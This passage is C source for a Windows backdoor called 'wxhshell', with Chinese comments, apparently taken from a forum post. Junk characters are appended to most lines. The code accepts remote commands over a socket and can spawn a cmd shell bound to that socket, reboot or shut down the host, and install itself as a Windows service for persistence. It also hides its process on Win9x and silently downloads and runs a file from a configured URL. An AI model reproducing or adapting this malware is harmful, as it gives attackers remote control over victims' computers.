  s,z~qL6&  
  // 帮助 -F5B Jk  
  case '?': { ;Qi:j^+P)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iT]t`7R  
    break; ]C_+u_9  
  } mRk)5{  
  // 安装 l_I)d7   
  case 'i': { F/5&:e?( )  
    if(Install()) ?nU<cxh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7J'%;sH  
    else VkQ@c;C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _imuyt".+  
    break; <c+.%ka  
    } MIMC(<   
  // 卸载 Ge^`f<f  
  case 'r': { [doEArwn  
    if(Uninstall()) TnrBHaxbo4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?qh-#,O9B  
    else _CwTe=K}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); waMF~#PJlt  
    break; NL2 1se  
    } "Q?+T:D8|  
  // 显示 wxhshell 所在路径 \Kl20?  
  case 'p': { |T:R.=R$~  
    char svExeFile[MAX_PATH]; >eJ <-3L;  
    strcpy(svExeFile,"\n\r"); C}huU  
      strcat(svExeFile,ExeFile); Lqgrt]L_"  
        send(wsh,svExeFile,strlen(svExeFile),0); {j2V k)\[i  
    break; ZW4f "  
    } #QNN;&L]R  
  // 重启 ug3\K83aj/  
  case 'b': { Q}BMvR 9w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ztp|FUi  
    if(Boot(REBOOT)) (W1 $+X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EPm~@8@"j?  
    else { vsGKCrLwh  
    closesocket(wsh); k^5Lv#Z  
    ExitThread(0); sd%j&Su#4  
    } jJ$\WUQ.  
    break; 0 R6:3fV6R  
    } zdN[Uc+1Bd  
  // 关机 yRXML\Ge  
  case 'd': { p2vN=[g9)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R1];P*>%gZ  
    if(Boot(SHUTDOWN)) qC`}vr|Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p-4$)w~6i  
    else { br I;}m  
    closesocket(wsh); ,54z9F`  
    ExitThread(0); BJ|l  
    } .}IW!$ dq  
    break; ,#Z%0NLe  
    } +B*]RL[th  
  // 获取shell (W}F\P  
  case 's': { #U:|- a.>  
    CmdShell(wsh); VLuHuih  
    closesocket(wsh); -.Wcz|  
    ExitThread(0); }gbLWx'iG  
    break; 5B=uvp|Y  
  } >|taU8^|G}  
  // 退出 a?[[F{X9^  
  case 'x': { wGyVmC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); EBy7wU`S  
    CloseIt(wsh); !se1W5ke#  
    break; { 4J.  
    } Oeh A3$|#  
  // 离开 ] Lv3XMa  
  case 'q': { ddQ+EY@!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Oe5rRQ$O  
    closesocket(wsh); OZ&/&?!XE  
    WSACleanup(); 64B.7S88  
    exit(1); 2Q6;SF"Z  
    break; u)@:V)z  
        } )Zq'r L<  
  } P< OH{l  
  } {irc0gI  
KqI:g*H'x7  
  // 提示信息 "OLg2O^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [F6 )Z[uG  
} T}fo  
  } r=Xo;d*TE  
DNGyEC  
  return; _vTr?jjfK  
} KA2>[x2  
5wue2/gl  
// shell模块句柄 >7W)iwF  
int CmdShell(SOCKET sock) OAXA<  
{ QuR} 6C  
STARTUPINFO si; TiD#t+g  
ZeroMemory(&si,sizeof(si)); FX!KX/OE)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u@Hz7Q} P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7 yE\,  
PROCESS_INFORMATION ProcessInfo; 0YiTv;mq;  
char cmdline[]="cmd"; xJ>5 ol  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {o~TbnC  
  return 0; ,`f]mv l  
} B_[efM<R$  
L3b0e_8>R  
// 自身启动模式 ,C,nNaW  
int StartFromService(void) "z9C@T  
{ J4+K)gWB  
typedef struct 4X^$"lM  
{ L-9fo-  
  DWORD ExitStatus; d*8*9CpO:  
  DWORD PebBaseAddress; <tvLKx  
  DWORD AffinityMask; Jl_W6gY"Z  
  DWORD BasePriority; 8:0/Cj  
  ULONG UniqueProcessId; _y4O2n[e  
  ULONG InheritedFromUniqueProcessId; 8i',~[  
}   PROCESS_BASIC_INFORMATION; .jJD$FC  
sU>IETo  
PROCNTQSIP NtQueryInformationProcess; iqlb,8  
D>|`+=1'0"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /4T6Z[=s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 35l%iaj]G5  
kt6)F&;$  
  HANDLE             hProcess; LDQ,SS,  
  PROCESS_BASIC_INFORMATION pbi; q8P&rMwy  
a,w|r#x]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X):7#x@uy  
  if(NULL == hInst ) return 0; M P8Sd1_=  
|$\K/]q -  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uH*6@aYPo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NK qI x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P")I)> Q6  
3Y Mqp~4  
  if (!NtQueryInformationProcess) return 0; QF/ULW0G!  
W{-g?)Tou  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uE.BB#  
  if(!hProcess) return 0; jJIP $  
X\`']\l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8?iI;(  
&{e ]S!D  
  CloseHandle(hProcess); H$Kc~#=  
nF'YG+;|@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H^|TV]^;N  
if(hProcess==NULL) return 0; + ,Krq 3P  
0!,uo\`  
HMODULE hMod; Oa/zE H  
char procName[255]; bL xZ 5C7t  
unsigned long cbNeeded; -gvfz&Lz  
d3:GmB .  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Xr  <H^X  
+%YBa'Lk  
  CloseHandle(hProcess); t.8r~2(?  
G:1d6[Q5{  
if(strstr(procName,"services")) return 1; // 以服务启动 s|WwB T  
0Agse)  
  return 0; // 注册表启动 8)>x)T  
} >OaD7  
Aax;0qGbH  
// 主模块 5TJd9:\Af  
int StartWxhshell(LPSTR lpCmdLine) 2 `>a(  
{ N" L&Z4Z  
  SOCKET wsl; hnFpC1TO  
BOOL val=TRUE; F6}RPk\=i  
  int port=0; =sk[I0W  
  struct sockaddr_in door; ZGZNZ}~#  
r>(,)rs(l  
  if(wscfg.ws_autoins) Install(); N[@H107`  
yD~,+}0)  
port=atoi(lpCmdLine); $~1vXe  
C7S\4rDJ  
if(port<=0) port=wscfg.ws_port; AY5iTbL1  
Ysu\CZGX  
  WSADATA data; 7}VqXUwabx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; YTyrX  
|BFzTz,o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0S4BV%7F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 67iI wY*8'  
  door.sin_family = AF_INET; U1r]e%df)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rD=D.1_   
  door.sin_port = htons(port); 44} 5o  
]^C 8Oh<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h&i*=&<HP6  
closesocket(wsl); U|3!ixk>>w  
return 1; 0 cycnOd  
} I5M\PK/  
{[2o  
  if(listen(wsl,2) == INVALID_SOCKET) { U=bx30brh%  
closesocket(wsl); ^+76^*0  
return 1; -qj[ck(y  
} l?*DGW(t{  
  Wxhshell(wsl); !uGfS' Vl  
  WSACleanup(); ~Y x_ 3  
lndz  
return 0; J.yM@wPS>  
4SI~y;c)  
} 4Et(3[P71  
-iiX!@  
// 以NT服务方式启动 |H t5a.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9InP2u\&:  
{ fc+-/!v  
DWORD   status = 0; Xd+H()nR  
  DWORD   specificError = 0xfffffff; B!/kC)bF:  
6o^>q&e}%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fi HE`]0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M>i(p%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jg?UwR&  
  serviceStatus.dwWin32ExitCode     = 0; NwF"Zh5eMW  
  serviceStatus.dwServiceSpecificExitCode = 0; tLOGj?/r  
  serviceStatus.dwCheckPoint       = 0; FFqK tj's  
  serviceStatus.dwWaitHint       = 0; Y_Gd_+oJ  
c6[m'cy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %k#+nad  
  if (hServiceStatusHandle==0) return; MZz9R*_VS  
"0!h- bQN  
status = GetLastError(); "IU}>y>J  
  if (status!=NO_ERROR) B!Wp=9)G  
{ Ixn|BCi60A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %AO6 =  
    serviceStatus.dwCheckPoint       = 0; X]y8-}Qf  
    serviceStatus.dwWaitHint       = 0; aE'nW_f  
    serviceStatus.dwWin32ExitCode     = status; QG*hQh  
    serviceStatus.dwServiceSpecificExitCode = specificError; )3CM9P'0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [k$GUU,jY  
    return; &MpLm&  
  } sc]#T)xG  
{O>Td9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }K)A jZ  
  serviceStatus.dwCheckPoint       = 0; J6CSu7Voa  
  serviceStatus.dwWaitHint       = 0; 0hoMf=bb$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8~(,qU8-N  
} C)U4Fr ?E:  
+1wEoU.l2  
// 处理NT服务事件,比如:启动、停止 *R+M#l9D`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >IS4  
{ Y)k"KRW+  
switch(fdwControl) _AF$E"f@  
{ Ou1kSG|kM  
case SERVICE_CONTROL_STOP: uM$b/3%s  
  serviceStatus.dwWin32ExitCode = 0; ,C6(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GgE g(AT  
  serviceStatus.dwCheckPoint   = 0; >aJmRA-C}  
  serviceStatus.dwWaitHint     = 0; C1{Q 4(K%  
  { FZgf"XM>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K-]) RIM  
  } HB p??.r  
  return; Ia%cc L=  
case SERVICE_CONTROL_PAUSE: ~EmK;[Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K_+M?ap_  
  break; =EVB?k ,  
case SERVICE_CONTROL_CONTINUE: eY` z\I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gA=Pz[i)p  
  break; U`) " ;WN  
case SERVICE_CONTROL_INTERROGATE: qf K gNZ  
  break; cWnEp';.  
}; _L)LyQD]T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NdJ]\>5oN,  
} |m\7/&@<  
8cfsl lI  
// 标准应用程序主函数 =,*/Ph&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F$i50s  
{ @8\0@[]  
gGNo!'o  
// 获取操作系统版本 LntRLB'  
OsIsNt=GetOsVer(); X7*ossv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EQoK\.; G~  
,&,XcbJ  
  // 从命令行安装 elM<S3  
  if(strpbrk(lpCmdLine,"iI")) Install(); sz%]rN6$  
x%)oL:ue  
  // 下载执行文件 Lwtp,.)pR  
if(wscfg.ws_downexe) { ,I|^d.[2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "uZ^zV`"  
  WinExec(wscfg.ws_filenam,SW_HIDE); >G1]#'6;  
} BV<_1 WT}  
w?_'sP{pd  
if(!OsIsNt) { KY2z)#/  
// 如果时win9x,隐藏进程并且设置为注册表启动 = <A0;  
HideProc(); DQ$m@_/4w  
StartWxhshell(lpCmdLine); >8>s K(S]  
} bOYM-\ {y  
else pQZ`dS\  
  if(StartFromService()) q+qF;7dN@  
  // 以服务方式启动 ,WsG,Q(K  
  StartServiceCtrlDispatcher(DispatchTable); ~"bBwPI  
else g9Dynm5  
  // 普通方式启动 HXh:8 3  
  StartWxhshell(lpCmdLine); 3 q8S  
kxrYA|x  
return 0; d8Cd4qIXX  
}
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只看该作者 1 发表于: 2006-10-10
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